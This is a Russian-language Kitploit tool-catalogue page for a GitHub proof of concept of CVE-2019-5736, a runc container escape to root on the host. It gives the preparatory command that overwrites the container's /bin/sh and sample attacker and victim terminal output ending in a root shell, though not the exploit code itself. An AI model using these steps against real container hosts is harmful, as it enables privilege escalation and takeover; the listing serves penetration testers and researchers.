Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-5736-PoC — Эксплойт-доказательство концепции для CVE-2019-5736, побега из контейнера runc, который перезаписывает бинарный файл runc хоста для достижения выполнения кода с правами root на хосте. | Kitploit
Инструменты/GitHubGitHub/billith/cve-2019-5736-poc
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеRed TeamingПобег из Контейнера
GitHubbillith/cve-2019-5736-poc

CVE-2019-5736-PoC

Эксплойт-доказательство концепции для CVE-2019-5736, побега из контейнера runc, который перезаписывает бинарный файл runc хоста для достижения выполнения кода с правами root на хосте.

Репозиторий
66 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Использование

PoC был создан для сценария, в котором жертва выполняет, например, docker exec <container> sh. Перед запуском эксплойта необходимо перезаписать бинарный файл sh в файловой системе контейнера:

root@kitploit:~
printf '#!/proc/self/exe' > /bin/sh

После этого, когда жертва выполняет команду exec, бинарный файл runc в файловой системе хоста должен быть перезаписан кодом, определённым в эксплойте

Пример

терминал контейнера:

root@kitploit:~
root@cebad431c120:/# printf '#!/proc/self/exe' > /bin/sh
root@cebad431c120:/# ./exp  # Waits until victim issues the exec command
Found process: 42851
Exploiting PID: /proc/42851/exe
Time to PWN
Success! Next time runc is run we will get RCE!
root@cebad431c120:/# 

терминал жертвы:

root@kitploit:~
user@server:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
user@server:~$ sudo docker exec cebad431c120 sh
No help topic for '/usr/bin/sh'
user@server:~$ sudo docker exec cebad431c120 sh
pwned
uid=0(root) gid=0(root) groups=0(root)
failed to retrieve OCI runtime exec pid: open /run/containerd/io.containerd.runtime.v1.linux/moby/cebad431c120d2378925e0712efaafe844616d618d99df4a479283d45f86c0fc/a70ea68c10e0eb3912fde8978e879e77b04ed32731338329024140db47dce1d3.pid: no such file or directory: unknown
user@server:~$ 
Скачать инструмент